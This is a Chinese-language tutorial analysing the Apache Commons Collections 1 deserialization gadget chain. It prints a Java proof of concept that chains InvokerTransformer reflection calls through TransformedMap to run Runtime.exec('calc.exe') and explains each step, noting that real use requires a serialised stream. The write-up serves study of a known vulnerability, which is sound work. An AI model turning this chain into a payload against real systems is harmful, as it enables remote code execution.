Java安全之Commons Collections1分析(一)
0x00 前言
在CC鏈中,其實具體執行過程還是比較復雜的。建議調試前先將一些前置知識的基礎給看一遍。
Java安全之Commons Collections1分析前置知識
0x01 CC鏈分析
這是一段poc代碼,執行完成后會彈出一個計算器。
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
//此處構建了一個transformers的數組,在其中構建了任意函數執行的核心代碼
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//將transformers數組存入ChaniedTransformer這個繼承類
Transformer transformerChain = new ChainedTransformer(transformers);
//創建Map並綁定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//給予map數據轉化鏈
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//觸發漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串東西,其實就是獲取這個map的第一個鍵值對(value,value);然后轉化成Map.Entry形式,這是map的鍵值對數據格式
onlyElement.setValue("foobar");
}
}
下面每一段一段代碼的來進行分析。
首先Transformer
是一個接口,ConstantTransformer
和InvokerTransformer
都是Transformer
接口的實現類。那么在這里拋出一個問題,Transformer
明明是接口為什么可以new呢?這也是我一開始看到這段代碼的時候的一個問題。
Transformer[] transformers = new Transformer[]
其實這里並不是new了一個接口,而是new了一個 Transformer類型的數組,里面存儲的是 Transformer的實現類對象。
先來分析一下ConstantTransformer
這里是使用了構造方法傳入參數,並且傳入的參數為Runtime
,而在調用到transform時,會進行返回我們傳入的參數。后面會講具體怎么去調用的這個方法。
InvokerTransformer分析
打一個debug跟蹤到InvokerTransformer類里面
這里的傳入了三個參數,第一個是方法名,第二個是參數類型,第三個是參數的值。
為了清晰,下面列一下,每個InvokerTransformer的參數值。
getMethod,null,getRuntime
invoke,null,null
exec,null,calc.exe
這里也有個transform
方法,也是比較重要的一個點,但是在這里先不分析該方法,這個放在后面去做分析。
ChainedTransformer分析
來看下一段代碼
Transformer transformerChain = new ChainedTransformer(transformers);
將transformers
數組傳入ChainedTransformer
構造方法里面。
該構造方法對進行賦值到本類的成員變量里面,后面如果調用了transform方法,就會遍歷transformers
數組進行逐個去調用他的transform
。那么分析到這一步我們需要做的是ChainedTransformer的transform什么時候會被調用。
官方說明:
將指定的轉換器連接在一起的轉化器實現。
輸入的對象將被傳遞到第一個轉化器,轉換結果將會輸入到第二個轉化器,並以此類推
也就是說該方法會將第一次的執行結果傳遞到第二次執行的參數里面去。
這里可以看到傳入的Runtime
,那么為什么傳入的是Runtime
呢?再回去看看ConstantTransformer
這個類就可以知道,調用transform方法的話就會進行返回this.iConstant
。而在定義數組的時候,我們就使用了ConstantTransformer
的構造方法來進行賦值。
new ConstantTransformer(Runtime.class)
所以這里傳入的是Runtime
的類。
在第一次執行的時候,已經將Runtime
傳入到了參數里面
這里的transform方法使用了反射。
Class cls = input.getClass();
Method method = cls.getMethod(getMethod,null);
return method.invoke(input, getRuntime);
反射調用並且返回getRuntime對象。
第二次傳入的是Runtime.getRuntime
Class cls = input.getClass();
Method method = cls.getMethod(invoke, null);
return method.invoke(input,null);
第二次返回的是Runtime的實例化對象。
第三次又將實例化對象傳入方法參數里面,
Class cls = input.getClass();
Method method = cls.getMethod("exec", null);
return method.invoke(input, "calc.exe");
這樣一個命令就執行完成了,那么ChainedTransformer的作用就是將Transformer數組給拼接起來。
通過ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通過反射執行invoke才能去調用getRuntime方法,這樣得到一個Runtime對象,然后再去調用Runtime對象的exec方法去達到命令執行。
那么又會回到剛剛的問題,ChainedTransformer是怎么被調用的呢?
TransformedMap分析
先來查看他的構造方法
構造方法把傳入的map和Transformer進行賦值。
在TransformedMap的transformValue方法中看到調用了this.valueTransformer的transform。而在下面一段代碼就已經對他進行了賦值
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
TransformedMap類並不能直接new出來,需要使用decorat提供一個實例化對象。
在這里我們就已經知道了transformValue可以去調用transform方法,那么再來看看transformValue會在哪里被調用。
在put方法就會調用transformValue,從而導致transformValue調用transform方法去執行命令。
public static void main(String[] args) throws Exception {
//此處構建了一個transformers的數組,在其中構建了任意函數執行的核心代碼
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
//創建Map並綁定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("1","1");
0x02 結尾
在這里我們是使用了代碼直接的讓他去彈出一個計算器,但是在實際運用中,需要將該代碼轉換為序列化流。在實際運用中需要我們需要找到⼀個類,它在反序列化的readObject讀取我們序列化的流文件。在分析該鏈的時候也比較亂,下篇文章重新來完整的調試一下。